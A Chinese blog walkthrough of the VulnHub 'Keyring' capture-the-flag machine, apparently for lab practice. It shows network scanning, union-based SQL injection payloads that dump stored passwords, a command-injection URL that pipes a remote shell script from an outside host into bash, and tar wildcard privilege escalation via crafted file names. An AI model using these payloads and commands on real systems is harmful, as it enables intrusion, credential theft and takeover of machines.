靶机下载地址: https://www.vulnhub.com/entry/ia-keyring-101,718/
教程链接地址: https://blog.csdn.net/hljzzj/article/details/122952373

# 确认攻击目标

攻击机 KALI: 192.168.31.135
靶机 KEYRING:桥接于 192.168.31.1 的网卡,ip 未知

1)arp 确定靶机地址
sudo arp-scan -l

Image

-> 靶机 ip:192.168.31.127

2)确认靶机 ip 开放的端口信息
sudo nmap -p- 192.168.31.208

Image

-> 靶机开放端口 22,80

# 网站信息收集

打开 http://192.168.31.208 进行信息收集

Image

是一个注册登陆的界面,直接输入 12345:12345 注册一个账户

Image

将注册的账户通过 login 界面登陆进去

Image

登陆后的页面中 Home 是欢迎 12345 用户的信息,下面显示了时间

Image

在 control 页面,显示的是一个 HPP 参数污染的提示

Image

目前得到的信息并不能进行攻击,需要寻找更多的信息
对目标网址进行路径扫描,寻找更多的信息

dirsearch -u http://192.168.31.208

Image

dirsearch 并没有加载出来有利用价值的信息

gobuster dir -x php,txt,html,zip,rar -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.31.208

Image

-> gobuster 扫描出来了一个 history.php 的路径

http://192.168.31.208/history.php

Image

# wfuzz 爆破参数

提示说没有找到活跃的用户,猜测这里是因为没有登陆用户的原因
找到登陆页面,登陆我们之前注册的用户

Image

重新打开 history.php 页面,提示信息变成了空白的,说明用户登陆对此页面的回显结果是有影响的

Image

很明显这个 history.php 的文件是存在问题的,怀疑后面是否有参数地址
可以用 wfuzz 进行爆破参数地址试试

wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u http://192.168.31.208/history.php?FUZZ=xxx

Image

-> 发现全是 200 ,那就不能用 wfuzz 测试参数了,需要用其他的方式

# 模糊测试

之前收集到的信息中有一句话 “can’t find this user’s activity”,尝试 user 参数
http://192.168.31.208/history.php?user=admin

Image

爆出来了源码 http://github.com/cyberbot75/keyring

Image

# 手工 sql 注入

# 判断是否是注入点

对 history.php 所在的 url 地址尝试手工判断是否是注入点
http://192.168.31.208/history.php?user=admin' and 1=1--+

and 1=1 --+ 被执行,and 1=2 --+ 报错,是注入点

Image

# 猜字段数

http://192.168.31.208/history.php?user=admin' union select 1--+

猜字段有多少个,1 时是正确的

Image

http://192.168.31.208/history.php?user=admin' union select 1,2--+

1,2 时报错了,说明只能爆出来一个字段

Image

# 猜当前数据库

http://192.168.31.208/history.php?user=admin’ union select database()–+

Image

数据库名是 users

# 猜数据库

http://192.168.31.208/history.php?user=admin' union select group_concat(schema_name) from information_schema.schemata--+

group_concat(schema_name) from information_schema.schemata–+

Image

一共有四个数据库 information_schema,mysql,performance_schema,sys,users

# 猜表

http://192.168.31.208/history.php?user=admin' union select group_concat(table_name) from information_schema.tables where table_schem
a=%27users%27–+

group_concat(table_name) from information_schema.tables where
table_schema=‘users’–+

Image

数据库 user 下有两个表:details,log

# 猜列

http://192.168.31.208/history.php?user=admin' union select group_concat(column_name) from information_schema.columns where table_name='details'--+

group_concat(column_name) from information_schema.columns where
table_name=‘details’–+

Image

users.detail 表中有两列:name,password

# 猜字段

http://192.168.31.208/history.php?user=admin' union select group_co
ncat(name)%20from%20users.details–+

group_concat(name) from users.details–+admin,admin123,john,test

Image

users.detail 中 name 分别是:admin,admin123,john,test

http://192.168.31.208/history.php?user=admin' union select group_concat(password) from users.details--+

group_concat(password) from users.details–+

Image

users.detail 中 password 分别是:
myadmin#p4szw0r4d,admin123,Sup3rS3cr3tS3cr3tPasSW0RD,test

去除掉自己注册掉的用户之外,发现源网站存在两个用户和密码

-> Admin: myadmin#p4szw0r4d john: Sup3rS3cr3tS3cr3tPasSW0RD

# php 代码审计

由 Admin: myadmin#pszw0r4d 登陆到网站后台

Image

home.php 页面检测到了 admin 账户已经登陆成功

Image

http://github.com/cyberbot75/keyring

查看源码,审计源码,发现 control.php 存在 RCE 漏洞

Image

注入参数为 cmdcntr 测试是否回显成功

http://192.168.31.208/control.php?cmdcntr=id

Image

有回显,RCE 确实存在,测试是否存在相应的可反弹 shell 的命令

http://192.168.31.208/control.php?cmdcntr=which curl;which bash;which python;which php;

Image

# 后台反弹 shell

http://192.168.31.208/control.php?cmdcntr=curl http://www.chentuo.asia/shell.sh|bash

Image

接收 shell,并将其转变为一个标准的 shell

Image

检查各个文件,查看有没有敏感的目录

发现有一个 john 的用户,之前通过 sql 注入网站爆出的用户名有 john
john: Sup3rS3cr3tS3cr3tPasSW0RD 切换到了 john 用户

Image

# strings 查看文件

翻阅相关的文件,找到了一个敏感的文件 s 权限的 compress
但是服务器不存在 strings 不能查看这个命令里封装的是什么

Image

通过 scp/wget 将文件下载到了 kali 主机上
strings compress 查看此命令的详细信息,compose 会调用 root 的 s 权限

Image

# tar 通配符提权

1
2
3
4
5
# tar通配符提权
echo "/bin/bash" > exp.sh
echo "" > "--checkpoint-action=exec=sh exp.sh"
echo "" > --checkpoint=1
./compress
Image

# lxd 提权

在 john 用户下,查看 id 时看到了所有组中有 lxd,并且本地有 lxc 命令

Image

searchsploit lxd 查找到了本地是存在此 exp 的

Image

阅读利用脚本说明,需要在攻击机上下载并以 root 账户编译该文件,最后将编译成功的文件以及 exp 一块发送到目标机器上

Image

在攻击机上下载 payload
wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine

Image

在攻击机上编译此 payload
运行此命令时因为 kali 机器是在 M1 的 mac 电脑上搭建的,属于 aarch,不同于 windows 的 amd64 系统,因此编译失败了

Image

-> Lxd 提权失败了,需要一台 amd64 的机器进行编译此文件

更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

.N1h1l157 微信支付

微信支付

.N1h1l157 支付宝

支付宝

.N1h1l157 贝宝

贝宝